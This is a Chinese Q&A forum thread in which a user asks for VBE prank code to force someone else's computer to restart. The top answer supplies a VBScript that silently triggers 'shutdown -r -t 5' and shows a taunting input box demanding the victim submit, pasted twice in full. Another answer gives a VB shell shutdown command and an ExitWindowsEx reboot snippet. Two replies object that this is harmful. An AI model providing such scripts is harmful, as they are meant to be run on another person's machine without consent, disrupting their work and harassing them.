给我一套vbe代码,整人的,能让他重启电脑的那一种
答案:4 悬赏:40 手机版
解决时间 2021-05-16 10:12
- 提问者网友:我是我
- 2021-05-16 05:41
给我一套vbe代码,整人的,能让他重启电脑的那一种
最佳答案
- 五星知识达人网友:罪歌
- 2021-05-16 06:25
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 5 -c ""不说你会后悔!"" ",0 ,true
dim a
do while(a <> "大哥")
a = inputbox ("喊大哥,不喊就关你的机,快说!! ","牛不牛","牛",10000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早点说就OK了!"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,呵呵呵呵..真过瘾..."
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 5 -c ""不说你会后悔!"" ",0 ,true
dim a
do while(a <> "大哥")
a = inputbox ("喊大哥,不喊就关你的机,快说!! ","牛不牛","牛",10000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早点说就OK了!"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,呵呵呵呵..真过瘾..."
全部回答
- 1楼网友:鸽屿
- 2021-05-16 08:46
1.调用命令行
Shell "cmd /c shutdown -r -t 00" stop:0x00000050(0x82800000
2.用API函数
Private Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Const EWX_REBOOT = 2
Private Sub Command_Click()
Call ExitWindowsEx(EWX_REBOOT,0)
End Sub
- 2楼网友:duile
- 2021-05-16 08:16
建议你不要 干坏事
- 3楼网友:行雁书
- 2021-05-16 08:05
不好吧 那事害人地
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
推荐资讯